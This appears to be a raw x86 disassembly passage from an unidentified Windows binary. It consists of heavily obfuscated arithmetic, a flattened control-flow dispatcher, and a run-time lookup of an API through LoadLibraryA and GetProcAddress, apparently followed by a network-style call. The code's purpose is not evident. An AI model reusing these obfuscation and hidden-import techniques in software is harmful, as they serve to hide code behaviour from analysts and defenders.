lea ecx, [ebx + esi*2]
add esi, eax
sub ecx, esi
add ecx, 1
mov esi, ecx
not esi
lea edi, [eax + 1]
and esi, edi
lea ebx, [ecx + ecx*2]
lea esi, [ebx + esi*4]
not eax
add eax, esi
xor ecx, edi
add ecx, ecx
sub eax, ecx
lea ecx, [eax + ebp*2]
not eax
and edx, eax
add edx, ecx
or eax, ebp
sub edx, eax
lea eax, [edx + 0x294f2625]
mov ecx, eax
xor ecx, 0xd6b0d9db
add ecx, edx
mov edx, eax
or edx, 0xd6b0d9db
sub ecx, edx
or eax, 0x294f2624
lea edx, [ecx + eax]
add eax, ecx
add eax, 0xd6b0d9db
not eax
lea ecx, [edx + eax*2]
add ecx, 0xd6b0d9dc
imul eax, ecx, 0x100f68b5
mov edx, eax
not edx
imul ecx, ecx, 0x201ed16a
and edx, 0x9d8ef3b3
add edx, ecx
or eax, 0x9d8ef3b3
sub edx, eax
mov ecx, dword [esp + 0x34]
not ecx
mov eax, dword [esp + 0x30]
or eax, 0xf400c226
add eax, dword [esp + 0x44]
add ecx, ecx
or ecx, 0xbff3dd8
add ecx, eax
add ecx, 4
and ecx, dword [esp + 0x80]
imul eax, ecx, 0x1cd8e8ff
mov esi, eax
not esi
imul ecx, ecx, 0x39b1d1fe
and esi, 0x72d3c2df
add esi, ecx
or eax, 0x72d3c2df
sub esi, eax
imul ecx, esi, 0x938923a7
add ecx, 0xf469c7fd
imul ebp, ecx, 0x6e054317
lea eax, [ebp + 0x7a6da288]
add eax, ebp
sub eax, ebp
imul edi, ecx, 0xdc0a862e
lea ebx, [edi + 0x7a6da28a]
lea esi, [eax + edi]
add esi, 0xbd36d146
mov dword [esp + 4], esi
add eax, 0x42c92ebc
mov esi, eax
or esi, ebx
not esi
add esi, dword [esp + 4]
imul edx, edx, 0x3a84459d
xor ebx, eax
add ebx, esi
add ebx, edi
mov esi, 0x85925d75
sub esi, edi
or esi, eax
add esi, ebx
imul eax, ecx, 0x23f579d2
lea ecx, [eax + ebp]
add ecx, 0xbd36d144
add ecx, ebp
lea ecx, [esi + ecx*2]
lea esi, [ecx + eax]
add eax, ecx
add eax, 0xb5ce5e44
mov ecx, eax
xor ecx, 0xcfc3ff36
add ecx, esi
lea edi, [esi + esi]
add edi, 0x6b9cbc88
xor edi, 0x60780192
add edi, ecx
or eax, 0x303c00c9
mov ecx, 0x8a31a1bb
sub ecx, esi
or ecx, 0xcfc3ff36
add ecx, eax
sub edi, ecx
imul eax, edi, 0x96cdc359
lea ecx, [eax + 0x43c86d6a]
mov esi, ecx
or esi, 0xbb28c509
add eax, esi
add eax, 0x43c86d6a
not ecx
or ecx, 0xbb28c509
add ecx, eax
imul eax, ecx, 0x245fab17
add eax, edx
imul eax, eax, 0x3b64bcff
lea ecx, [eax + 0x7fb733b8]
xor ecx, 0xe723accd
add eax, eax
add eax, 0xff6e6770
or eax, 0x31b8a664
add eax, ecx
imul eax, eax, 0x99324b29
lea ecx, [eax - 0x66cdb4d7]
lea edx, [eax - 0x103aadd9]
mov esi, edx
not esi
lea edi, [eax + eax]
add edi, 0xdf8aa44e
mov ebx, edi
and ebx, 0xed2d88b4
and esi, 0x9693ba5
add esi, ebx
xor edx, 0xf696c45a
add edx, esi
sub edi, ecx
lea esi, [edx + edi]
add edx, edi
add edx, 0xa96cf903
mov edi, edx
not edi
mov ebx, edx
and ebx, 0x9693ba4
add esi, ebx
add esi, 0xa96cf903
and edi, 0xf696c45b
add edi, esi
xor edx, 0x9693ba4
lea esi, [edi + edx]
add edx, edi
add edx, 0xf696c45c
add eax, 0x9fc55227
and eax, 0x9693ba5
sub eax, ecx
lea ecx, [eax - 0x569306ff]
mov edi, 0x9693ba3
sub edi, esi
and edi, ecx
lea ecx, [edi + esi]
add ecx, 0xf696c45c
add ecx, eax
mov esi, 0x569306fe
sub esi, eax
or esi, edx
lea eax, [ecx + esi]
add ecx, esi
add ecx, 0xa96cf902
mov edx, ecx
and edx, 1
add edx, edx
mov esi, ecx
sub esi, edx
mov edx, ecx
or edx, 1
add edx, esi
add eax, eax
add eax, 0x52d9f204
xor eax, 0xfffffffc
add eax, edx
not ecx
or ecx, 1
sub eax, ecx
add eax, 3
imul ecx, eax, 0x60b2d18b
imul eax, eax, 0xc165a316
mov edx, ecx
xor edx, 0xf4364a67
add edx, eax
add ecx, ecx
or ecx, 0xe86c94ce
sub edx, ecx
imul ebx, edx, 0x7fbf4e23
lea eax, [ebx - 0x760f71eb]
mov ecx, eax
and ecx, 0x7bf86ad7
mov edx, 0xf60f71ea
sub edx, ebx
and edx, 0x7bf86ad7
add edx, ecx
mov esi, eax
xor esi, 0x4079528
add esi, edx
mov ecx, 0x860f71ea
sub ecx, ebx
mov edx, ecx
or edx, 0x7bf86ad7
sub esi, edx
lea edi, [esi + esi]
mov dword [esp + 4], edi
and edi, eax
mov edx, 0x760f71ea
sub edx, ebx
mov ebp, dword [esp + 4]
and ebp, edx
add ebp, edi
lea esi, [esi*2]
add esi, ebp
lea edi, [ebx + esi]
add edi, 0x89f08e15
sub edi, dword [esp + 4]
mov esi, eax
and esi, 0x4079528
mov dword [esp + 4], esi
add ebx, ebx
add ebx, 0x13e11c2a
xor ebx, 0x80f2a50
add ebx, esi
mov ebp, eax
and ebp, 0xfbf86ad7
and ecx, 0x4079528
or ecx, ebp
mov ebp, eax
or ebp, 0x4079528
add ecx, ebp
sub ebp, ebx
mov ebx, 0xf7f0d5af
sub ebx, edi
and ebx, ebp
add ebx, edi
add ebx, 0x80f2a50
add ebx, ebp
lea esi, [edi + 0x80f2a50]
or ebp, esi
not ebp
add ebp, ebx
add edi, ebp
add edi, 0x80f2a51
or edx, 0x4079528
add edx, ecx
mov ecx, dword [esp + 4]
add ecx, edx
add ecx, 0xfbf86ad9
mov edx, edi
or edx, ecx
mov esi, edx
not esi
add edx, edx
mov ebx, edi
not ebx
or ebx, ecx
add ebx, esi
sub edi, edx
or eax, 0xfbf86ad7
add eax, ebx
sub edi, eax
add edi, 0xfffffffd
imul eax, edi, 0x1f4436af
mov ecx, eax
not ecx
imul edx, edi, 0x3e886d5e
mov esi, eax
xor esi, 0x1bd8c3b4
add esi, edx
or eax, 0x1bd8c3b4
sub esi, eax
or ecx, 0x1bd8c3b4
add ecx, esi
imul eax, ecx, 0x3e06e04f
lea ecx, [eax - 0x7159e48c]
mov edx, ecx
or edx, 0x509f3b24
add eax, edx
add eax, 0x8ea61b74
mov edx, ecx
xor edx, 0xaf60c4db
add edx, eax
not ecx
or ecx, 0xaf60c4db
lea eax, [edx + ecx]
add ecx, edx
add ecx, 0xaf60c4dd
mov edx, ecx
not edx
lea edx, [eax + edx*2]
add edx, 0xaf60c4de
and edx, 0x9693ba5
mov esi, edx
neg esi
and esi, ecx
lea edi, [esi + eax]
add edi, 0xaf60c4dd
add esi, edx
sub edi, esi
lea edx, [edi + 0x9693ba5]
or ecx, 0xf696c45a
add eax, eax
add eax, 0x5ec189ba
sub ecx, eax
or eax, 0x12d2774a
lea esi, [ecx + eax]
add eax, ecx
add eax, 2
mov ecx, 0xfffffffd
sub ecx, esi
and ecx, edx
add ecx, edi
add ecx, 0x9693ba5
add ecx, eax
mov edx, 0xf696c45a
sub edx, edi
or edx, eax
add edx, ecx
mov eax, edx
not eax
lea eax, [eax + edx*2]
imul eax, eax, 0x990223e3
add eax, 0x8b8304de
imul ecx, eax, 0x158fc635
imul eax, eax, 0xd4e07396
add eax, ecx
imul ecx, eax, 0x802c09e7
mov eax, 0xdb56cf46
sub eax, ecx
or eax, 0x760a00e8
mov esi, 0x5160d02e
sub esi, ecx
sub esi, eax
lea edx, [ecx + ecx]
add edx, 0x49526172
mov edi, edx
and edi, esi
lea edi, [edi + ecx*2]
add edi, 0x49526172
add edi, esi
mov ebx, edx
xor ebx, esi
add ebx, edi
add eax, ecx
add eax, 0xc20e0e1
add ebx, eax
lea eax, [ecx + 0x24a930b9]
not edx
or edx, esi
lea esi, [ebx + edx]
add edx, ebx
add edx, 0x18884fda
mov edi, 0x5b56cf46
sub edi, ecx
and edi, 0x760a00e8
mov ecx, eax
or ecx, 0x760a00e8
add ecx, edi
or eax, 0x89f5ff17
add eax, ecx
mov ecx, eax
not ecx
add ecx, esi
add ecx, 0x18884fda
mov edi, 0xe777b025
sub edi, esi
and edi, eax
add edi, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
sub edi, ecx
or eax, edx
add eax, edi
imul ecx, eax, 0x61587e01
imul eax, eax, 0xc2b0fc02
mov edx, eax
not edx
and edx, 0xf6cca624
add edx, eax
mov eax, ecx
xor eax, 0x8499aced
add eax, edx
not ecx
mov edx, ecx
and edx, 0x8499aced
add edx, eax
or ecx, 0x7b665312
sub edx, ecx
imul ecx, edx, 0x84ab8201
lea eax, [ecx - 0x44b906ed]
mov edx, eax
not edx
mov esi, eax
and esi, 0x369b7711
add ecx, esi
add ecx, 0xbb46f913
and edx, 0xc96488ee
add edx, ecx
xor eax, 0x369b7711
add eax, edx
lea ecx, [eax + eax*2]
add ecx, 0x5c2d9acd
lea edx, [eax*4]
mov esi, 0x5a6ddc40
sub esi, edx
and esi, 0x62213f60
add esi, ecx
mov edx, esi
xor edx, 0xb6671078
add edx, esi
lea ecx, [esi + esi]
xor ecx, 0x9331df0e
add ecx, edx
mov edx, esi
or edx, 0x4998ef87
not esi
or esi, 0xb6671078
add esi, edx
sub ecx, esi
add ecx, 0xb6671078
add eax, eax
add eax, 0x92c911de
xor eax, 0xceef604e
lea edx, [eax + 2]
mov esi, ecx
and esi, edx
add esi, eax
add esi, 2
xor edx, ecx
add edx, esi
mov esi, 0xfffffffd
sub esi, eax
or esi, ecx
add esi, edx
imul eax, esi, 0xe21fe7a3
add eax, 0xe21fe7a3
mov ecx, eax
and ecx, 0x7b39bd62
add ecx, ecx
mov edx, eax
sub edx, ecx
not eax
add eax, eax
or eax, 0x98c853a
sub edx, eax
imul edi, edx, 0x6d1b840b
add edi, 0x25c8f7ea
push 0x100ad8da
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100ad918
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0xa8], eax
mov ecx, 0xa2a2b2b3
mov eax, 0x3b7b2bbf
mov edx, dword [esp + 0x2c]
mov dword [esp + 4], edx
mov edx, 0x652f4817
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x3b7b2bbf
mov ecx, 0x85451fbc
mov edx, 0x2542eee3
jmp 0x1006949d
mov edx, dword [esp]
cmp edx, 0x431f348d
mov edx, 0x99eed7be
mov esi, 0x1544c6d0
cmove edx, esi
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x9d44933
mov ecx, 0x85451fbc
mov edx, 0x88ff955b
jmp 0x1006949d
mov edx, dword [esp]
cmp edx, 0xff9b14d7
mov edx, 0x99eed7be
mov esi, 0x144e8df0
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xff9b14d7
mov edx, 0xd0015d8f
mov esi, 0xb749386c
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xdcaf9fb3
mov edx, 0x99eed7be
mov esi, 0x26238b8
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xfad2bd69
mov edx, 0x2f35c00c
mov esi, 0xdbd4054e
cmovl edx, esi
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0xc655790a
mov ecx, 0x85451fbc
mov edx, 0x21233653
jmp 0x1006949d
mov edx, dword [esp]
cmp edx, 0xdcaf9fb3
mov edx, 0x33154586
mov esi, 0xe5736942
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xdcb095
mov edx, 0x72c5aa58
mov esi, 0x70e03ead
cmovl edx, esi
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x94fd09a1
mov ecx, 0x85451fbc
mov edx, 0x431f348d
jmp 0x1006949d
mov edx, dword [esp]
cmp edx, 0xebe13254
mov edx, 0x259fc36
mov esi, 0x4b844bf9
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xbed3c9a4
mov edx, 0xc4e21d5c
mov esi, 0x2ec7f700
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x747c93cf
mov edx, 0x349e7f2f
mov esi, 0x26147a59
cmovl edx, esi
jmp 0x100694b0
mov eax, dword [esp + 4]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x6c]
lea ecx, [eax + eax]
mov edx, eax
not edx
lea edx, [edx + eax*2]
lea esi, [edx + edx]
not esi
add esi, esi
lea esi, [esi + edx*4]
mov dword [esp + 8], edi
lea edi, [esi + edx*2]
lea edx, [esi + edx*2]
add edx, 2
sub eax, ecx
lea ecx, [eax + 1]
mov esi, ecx
not esi
and esi, edx
add esi, edi
add esi, 2
mov ebp, 0xfffffffd
sub ebp, edi
and ebp, ecx
add ebp, esi
add eax, ebp
add eax, 1
xor ecx, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
lea ecx, [ecx + eax*2]
mov edx, eax
xor edx, 1
lea esi, [ecx + edx]
add ecx, edx
add ecx, 2
sub ecx, eax
not eax
lea edx, [eax + esi]
add edx, 0xea20ed1c
mov esi, edx
and esi, 0x15df12e7
add esi, ecx
mov eax, edx
xor eax, 0x15df12e7
add eax, esi
or edx, 0x15df12e7
sub eax, edx
mov ecx, eax
mov edx, eax
mov edi, eax
mov esi, eax
and esi, 0xffffe000
mov ebp, esi
xor ebp, 0xffffe000
and ecx, 0x1fff
mov dword [esp + 0xc], ecx
or ebp, ecx
or edx, 0x1fff
add ebp, edx
lea ebx, [esi + ebp]
add ebx, 0xffffe001
or edi, 0xffffe000
mov ebp, edi
neg ebp
mov esi, ebx
not esi
and esi, ebp
lea ecx, [edi - 1]
or ecx, ebx
and ebp, ebx
sub ebx, esi
add ecx, ecx
sub ebx, ecx
lea ecx, [ebx + ebp]
add ebx, ebp
add ebx, 0xfffffffe
not edi
lea esi, [edi + edi*2]
lea ebp, [ecx + ecx]
add ebp, 0xfffffffc
sub ebp, esi
neg esi
mov ecx, ebx
xor ecx, esi
lea edi, [edi + edi*2]
add edi, 0xffffffff
or edi, ebx
add edi, ecx
sub ebp, edi
and esi, ebx
mov ecx, eax
not ecx
lea ecx, [eax + ecx*2]
not esi
add esi, ebp
xor eax, 0xffffe000
mov edi, eax
sub edi, dword [esp + 0xc]
add edi, eax
lea eax, [edx + edi]
add eax, 1
not eax
add eax, esi
lea edx, [ecx + eax]
add eax, ecx
add eax, 0xbdf6b42e
lea ecx, [eax + eax*2]
or eax, 0x42096bd2
sub ecx, eax
not eax
add eax, ecx
lea ecx, [edx + edx]
add ecx, 0x7bed685c
or ecx, 0x7bed285a
sub eax, ecx
mov edx, 0x7bed285e
sub edx, eax
sub edx, eax
lea ecx, [eax + 0x42096bd1]
lea esi, [ecx + ecx*2]
mov edi, 0xbdf6942e
sub edi, eax
and edi, edx
lea esi, [esi + edi*4]
lea eax, [esi + eax*2]
xor edx, ecx
add edx, edx
sub eax, edx
lea ecx, [eax - 0xcd7b080]
or ecx, 0x90ea8822
mov edx, 0x8cd7b07f
sub edx, eax
or edx, 0x90ea8822
add edx, ecx
sub eax, edx
imul ecx, eax, 0xb908235
lea eax, [ecx + 0xd18062e]
mov edx, eax
xor edx, 0x9fb7ce08
add edx, ecx
mov ecx, eax
not ecx
and ecx, 0x604831f7
add ecx, edx
and eax, 0x9fb7ce08
add eax, ecx
imul eax, eax, 0x5244401d
lea edx, [eax + 0x2fc07353]
mov ecx, 0xd03f8cac
sub ecx, eax
mov esi, ecx
and esi, 0xffffefff
xor ecx, 0xffffefff
lea ecx, [ecx + esi*2]
lea esi, [eax - 0x7acb2cad]
or esi, 0xffffefff
lea edi, [ecx + esi]
add ecx, esi
add ecx, 0x1002
mov esi, 0xffffeffd
sub esi, edi
and esi, 0xffffefff
add edi, esi
add edi, 0x1002
or ecx, 0x1000
lea esi, [edi + ecx]
add ecx, edi
add ecx, 0xfffff000
mov edi, edx
xor edi, 0x1000
or edx, 0xffffefff
lea ebx, [edi + edx]
add edx, edi
add edx, 0x1001
mov edi, 0x80000fff
sub edi, esi
and edi, edx
add edi, esi
add edi, 0xfffff000
lea edi, [ebx + edi*2]
add edi, 0x1001
mov ebx, ecx
xor ebx, edx
or ecx, edx
not ecx
add ecx, edi
mov edi, 0xfff
sub edi, esi
or edi, edx
add edi, ebx
sub ecx, edi
lea edx, [eax + ecx]
add edx, 0x8412d7a4
add eax, ecx
add eax, 0x2d34e4e7
and eax, 0x28b8e6d
lea ecx, [eax + edx]
add ecx, 0xa9220d43
mov eax, 0x56ddf2bc
sub eax, edx
and eax, 0x28b8e6d
add eax, ecx
mov ecx, eax
and ecx, 0x37812c8d
mov edx, eax
xor edx, 0x37812c8d
mov esi, eax
xor esi, 0xc87ed372
add esi, edx
mov edx, eax
and edx, 0xc87ed372
lea edi, [esi + edx]
add edx, esi
add edx, 1
mov esi, ecx
and esi, edx
add esi, edi
add esi, 1
mov edi, ecx
xor edi, edx
add edi, esi
not edx
or edx, ecx
lea esi, [edx + edi]
add esi, 1
mov ecx, eax
not ecx
mov edi, esi
and edi, ecx
add edi, edi
mov edx, esi
sub edx, edi
add edx, eax
not esi
or esi, eax
add esi, esi
sub edx, esi
lea esi, [edx + 0x37812c8b]
mov edi, 0xc87ed374
sub edi, edx
and edi, ecx
or esi, eax
add esi, edi
add esi, edx
lea eax, [ecx + edx*2]
add eax, 0x6f025916
sub eax, esi
lea ecx, [eax - 0x37812c8c]
mov edx, ecx
xor edx, 1
add eax, edx
add eax, 0xc87ed374
xor ecx, 0xfffffffe
add ecx, eax
imul eax, ecx, 0x67edb71f
lea ecx, [eax - 0x302491c2]
mov edx, ecx
and edx, 0x6ded659e
add edx, edx
neg edx
add edx, eax
add edx, 0xcfdb6e3e
xor ecx, 0x92129a61
add ecx, edx
add ecx, eax
imul eax, ecx, 0x71cf04df
lea ecx, [eax - 0x2e0cfe7d]
mov edx, 0x2e0cfe7c
sub edx, eax
and edx, 0x9f4c348f
or ecx, 0x60b3cb70
add ecx, edx
add eax, ecx
add eax, 0x713f3613
imul ecx, eax, 0xde359db3
imul eax, eax, 0x4394c49a
add eax, ecx
add eax, 0xd975e622
imul ecx, eax, 0xeb11a685
mov edx, ecx
and edx, 0x14436456
mov esi, edx
xor esi, 0x14436456
add esi, edx
xor ecx, 0x14436456
add ecx, esi
imul esi, eax, 0xd6234d0a
or esi, 0xd7793752
lea edx, [ecx + esi]
lea eax, [esi + ecx]
add eax, 0x14436456
add esi, ecx
add esi, 0x14436458
mov ecx, 0xebbc9bab
sub ecx, edx
and ecx, 1
sub ecx, eax
mov edi, esi
or edi, 1
add edi, ecx
mov ecx, esi
or ecx, 0xfffffffe
add ecx, edi
add ecx, eax
add ecx, esi
mov esi, 0xebbc9ba7
sub esi, edx
mov edx, esi
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, esi
or edx, 1
add edx, eax
xor esi, 0xfffffffe
add esi, edx
lea edx, [ecx + esi]
lea eax, [ecx + esi]
add eax, 2
mov ecx, eax
and ecx, 1
add ecx, edx
add ecx, 2
mov edx, eax
or edx, 1
sub ecx, edx
xor eax, 1
lea edx, [eax + ecx]
add edx, 1
mov edi, edx
not edi
mov esi, edi
and esi, 0x9f4c348f
and edi, 1
add edi, edi
mov ebx, esi
sub ebx, edi
mov ebp, esi
or ebp, 0x60b3cb71
add ebp, ebx
lea edi, [eax + ecx]
add esi, esi
xor esi, 0x3e98691c
add esi, ebp
mov ebx, edx
or ebx, 0x60b3cb71
sub esi, ebx
mov ebx, edx
or ebx, 0x60b3cb70
add ebx, edi
add ebx, 1
xor edx, 0x9f4c348f
add edx, ebx
add edi, edi
add edi, 2
or edi, 0x3e98691e
sub edx, edi
lea edi, [esi + edx]
add edx, esi
add edx, 0x60b3cb72
lea ecx, [eax + ecx + 2]
mov eax, edx
not eax
mov esi, ecx
and esi, eax
add esi, edi
add esi, 0x60b3cb72
add esi, ecx
xor edx, ecx
not edx
add edx, esi
or eax, ecx
sub edx, eax
imul eax, edx, 0xa21ab471
imul ecx, edx, 0x443568e2
mov edx, ecx
and edx, 0x5ce2dea0
add edx, eax
not eax
lea eax, [edx + eax*2]
and ecx, 0xa31d215e
add eax, ecx
add eax, 0x518e90b1
imul ecx, eax, 0x48528c91
imul eax, eax, 0x90a51922
mov edx, ecx
xor edx, 0xb8eda71e
add edx, eax
mov eax, ecx
xor eax, 0x471258e1
add eax, edx
not ecx
lea edx, [ecx + eax]
add edx, 0x471258e3
imul ecx, edx, 0x3762f4ff
imul edi, edx, 0x6ec5e9fe
mov eax, ecx
xor eax, 0xf769fea6
imul esi, edx, 0xdd8bd3fc
add esi, eax
mov ebx, edi
xor ebx, eax
mov edx, ecx
xor edx, 0x8960159
and eax, edi
or edi, edx
add edi, ebx
sub esi, edi
not eax
add eax, esi
mov esi, ecx
not esi
mov edi, esi
or ecx, 0x7769fea6
or esi, 0x7769fea6
add esi, ecx
and edi, 0x7769fea6
add edi, edx
sub edi, esi
lea ecx, [eax + edi*2]
lea eax, [eax + edi*2]
add eax, 0x891553ce
mov edi, dword [esp + 8]
lea edx, [ecx + ecx]
add edx, 0x122aa79c
mov esi, edx
xor esi, 0x122aa79a
add esi, ecx
not eax
or edx, 0xedd55864
add edx, esi
add eax, eax
or eax, 0x122aa79a
add eax, edx
imul eax, eax, 0xc8403399
lea ecx, [eax + 0x7695119a]
mov edx, ecx
not edx
and edx, 0x66508b0e
lea eax, [edx + eax*2]
add eax, 0xed2a2334
or ecx, 0x66508b0e
sub eax, ecx
imul eax, eax, 0x9c57d257
mov ecx, dword [esp + 0xa8]
push 0
push eax
push edi
push dword [esp + 0x10d8]
call ecx
mov dword [esp + 0x70], eax
cmp dword [esp + 0x70], 0
mov eax, 0x43bcf119
mov ecx, 0x751a1b51
cmovle eax, ecx
jmp 0x1006e225
mov ecx, dword [esp + 0x10]
cmp ecx, 0x55dcbf74
mov ecx, 0x91cdfa39
mov edx, 0x9f998e6d
jmp 0x1006e5ca
mov eax, dword [esp + 0x6c]
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x70]
lea ebx, [ecx + ecx]
mov edi, ebx
lea eax, [ecx + 1]
sub eax, ebx
mov dword [esp + 0x20], eax
or ebx, 0x50bce861
mov edx, ecx
lea eax, [ecx + ecx]
add eax, 1
not edi
lea ecx, [ebx + edi*2]
lea ecx, [ecx + edx*2]
add ecx, 1
add ecx, ebx
xor ebx, eax
not ebx
lea ecx, [ecx + ebx*2]
lea ecx, [ecx + edx*2]
and edi, 0xaf43179e
or edi, eax
sub ecx, edi
lea eax, [ecx + 2]
lea esi, [edx*4]
not esi
lea esi, [esi + edx*2]
or esi, 0x50bce861
mov edi, esi
not edi
and edi, eax
add ecx, edi
add ecx, 2
mov edi, eax
not edi
and edi, esi
add edi, ecx
add edi, esi
xor esi, eax
sub edi, esi
imul eax, edi, 0x12ca69a9
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xd86a1071
add esi, eax
xor eax, 0x2795ef8e
add eax, esi
or ecx, 0xd86a1071
sub eax, ecx
add eax, 0xd86a1071
imul ecx, eax, 0x941c4a99
imul eax, eax, 0x28389532
mov esi, eax
and esi, 0x4100fb10
add esi, ecx
not ecx
lea esi, [esi + ecx*2]
and eax, 0xbeff04ee
lea ecx, [esi + eax]
add eax, esi
add eax, 0xdf7f8279
mov esi, eax
and esi, 0x2f43179f
lea edi, [esi + esi]
mov ebx, edi
neg ebx
add esi, esi
add esi, 0xffffffff
and esi, eax
sub esi, edi
add esi, ecx
add esi, 0xdf7f8279
or ebx, eax
not ebx
add ebx, esi
sub ebx, edi
lea esi, [ebx + 1]
mov edi, esi
and edi, 0x50bce860
add edi, ebx
add edi, 1
mov ebx, esi
and ebx, 0xaf43179f
mov ebp, ebx
xor ebp, 0xaf43179f
add ebp, edi
not esi
or esi, 0xaf43179f
add esi, ebp
add esi, ebx
add esi, 1
mov edi, eax
or edi, 0xaf43179f
mov ebx, esi
not ebx
and ebx, edi
mov ebp, edi
not ebp
or ebp, esi
and edi, esi
sub esi, ebx
add ebp, ebp
sub esi, ebp
lea ebx, [edi + esi]
add esi, edi
add esi, 0xfffffffe
add ecx, ecx
add ecx, 0xbeff04f2
mov edi, ecx
xor edi, 0xa179d0c0
mov ebp, esi
xor ebp, edi
xor ecx, 0x5e862f3f
or ecx, esi
add ecx, ebp
lea ebx, [edi + ebx*2]
add ebx, 0xfffffffc
sub ebx, ecx
and edi, esi
mov ecx, edi
not ecx
add ecx, ebx
sub edi, ebx
mov esi, edi
and esi, 0xaf4317a0
mov ebx, ecx
sub ebx, esi
xor ecx, 0xaf4317a0
add ecx, ebx
or edi, 0xaf4317a0
add ecx, edi
add ecx, 0xaf4317a1
not eax
or eax, 0xaf43179f
mov esi, ecx
sub esi, eax
neg eax
mov edi, ecx
xor edi, eax
add edi, edi
sub esi, edi
mov edi, ecx
or edi, eax
lea esi, [esi + edi*2]
and eax, ecx
not eax
lea ecx, [esi + eax*2]
mov dword [esp + 0x18], ecx
lea eax, [esi + eax*2]
add eax, 2
mov dword [esp + 0x34], eax
mov dword [esp + 8], edx
mov ebx, edx
not ebx
lea eax, [edx + ebx*2]
add eax, 1
imul ecx, eax, 0x82603c57
mov esi, ecx
not esi
imul eax, eax, 0x4c078ae
and esi, 0x5ec87768
add esi, eax
or ecx, 0x5ec87768
sub esi, ecx
imul eax, esi, 0x25126f67
mov ecx, eax
and ecx, 0xdc3a0320
mov esi, eax
or esi, 0xdc3a0320
add esi, ecx
mov edi, eax
not edi
add esi, edi
add esi, ecx
lea edx, [eax + eax]
mov ebp, edx
and ebp, 0x478bf9be
add ebp, ecx
sub ebp, edx
mov ecx, 0xbfffffff
sub ecx, eax
and ecx, 0x23c5fcdf
sub ebp, ecx
mov ecx, eax
or ecx, 0x23c5fcdf
add ebp, ecx
add ebp, esi
mov edx, eax
xor edx, 0x23c5fcdf
and edi, 0xdc3a0320
lea edx, [edx + edi*2]
lea esi, [eax - 0x80000000]
or esi, 0xdc3a0320
add esi, edx
lea edx, [esi + ebp]
add esi, ebp
add esi, 0x478bf9c2
xor eax, 0xdc3a0320
add eax, edi
add eax, ecx
mov ecx, eax
not ecx
add ecx, edx
add ecx, 0x478bf9c2
mov edx, esi
not edx
and edx, eax
add edx, ecx
mov ecx, esi
xor ecx, eax
add ecx, eax
sub edx, ecx
or eax, esi
add eax, edx
imul ecx, eax, 0xc4c325b2
mov edx, ecx
not edx
and edx, 0x4b7e55f4
add edx, ecx
imul eax, eax, 0x626192d9
mov ecx, eax
xor ecx, 0x5a40d505
add ecx, edx
not eax
mov edx, eax
and edx, 0x5a40d505
add edx, ecx
or eax, 0xa5bf2afa
sub edx, eax
imul eax, edx, 0x2a9bcd69
lea ecx, [eax + 0x44cc9ff3]
mov edx, ecx
and edx, 0x1a30d289
add eax, edx
add eax, 0x44cc9ff3
mov edx, ecx
not edx
and edx, 0xe5cf2d76
add edx, eax
xor ecx, 0x1a30d289
lea eax, [edx + ecx]
mov dword [esp + 0xc], eax
lea ebp, [ecx + edx]
add ebp, 0xe5cf2d77
mov eax, dword [esp + 8]
mov ecx, eax
and ecx, 0x23c5fcdf
mov edx, ecx
xor edx, 0x23c5fcdf
add edx, ecx
mov esi, eax
or esi, 0xdc3a0320
not ecx
add ecx, esi
sub edx, ecx
add edx, 0xdc3a031f
mov edi, eax
xor edi, 0x23c5fcdf
and edi, edx
add edi, edi
mov ecx, edx
sub ecx, edi
mov edi, eax
xor edi, 0xdc3a0320
add ecx, edi
not edx
or edx, edi
add edx, edx
sub ecx, edx
mov edx, ebx
or edx, 0x23c5fcdf
add edx, ebx
or eax, 0x23c5fcdf
add eax, edx
mov edi, 0xfffffffe
sub edi, eax
sub edi, esi
lea edx, [esi + eax]
add edx, 1
lea esi, [ecx - 2]
mov ebx, esi
and ebx, edi
mov eax, esi
and eax, edx
add eax, ebx
or esi, edx
mov edx, 1
sub edx, ecx
and edx, edi
add esi, edx
add eax, ecx
add eax, 0xfffffffe
add esi, ecx
add eax, edi
sub eax, esi
imul eax, eax, 0xed088915
lea ecx, [eax - 0x12f776eb]
mov edx, ecx
xor edx, 0xba78a110
add eax, edx
add eax, 0xed088915
xor ecx, 0x45875eef
add ecx, eax
imul eax, ecx, 0xed437e3d
lea ecx, [eax - 0x4d8840f3]
mov edx, ecx
and edx, 0x453440cf
add edx, edx
neg edx
add edx, eax
add edx, 0xb277bf0d
xor ecx, 0x3acbbf30
add ecx, edx
lea edx, [eax + ecx]
add eax, ecx
add eax, 0xb277bf0d
add edx, edx
mov ecx, eax
sub ecx, edx
lea edx, [ecx - 0x64ef7e1b]
mov esi, ebp
and esi, edx
mov edi, dword [esp + 0xc]
sub esi, edi
or edx, ebp
add edx, esi
mov esi, 0xe4ef7e1a
sub esi, ecx
or esi, ebp
add esi, edx
mov ecx, ebp
or ecx, eax
lea ecx, [ecx + esi*2]
lea edx, [edi*4]
sub ecx, edx
lea ecx, [ecx + edi*2]
and ebp, eax
lea eax, [ecx + ebp*2]
imul eax, eax, 0x9fe83837
lea ecx, [eax + 0x69d3e2a]
xor ecx, 0x222e358d
add eax, eax
add eax, 0xd3a7c54
or eax, 0xbba394e4
add eax, ecx
imul eax, eax, 0xc4e4fd87
lea ecx, [eax - 0x1f576e97]
mov edx, ecx
not edx
mov esi, ecx
xor esi, 0x23c5fcdf
and edx, 0xdc3a0320
lea edx, [edx + edx*2]
add edx, esi
add edx, esi
add edx, eax
add edx, 0xc4e4fd87
mov edi, ecx
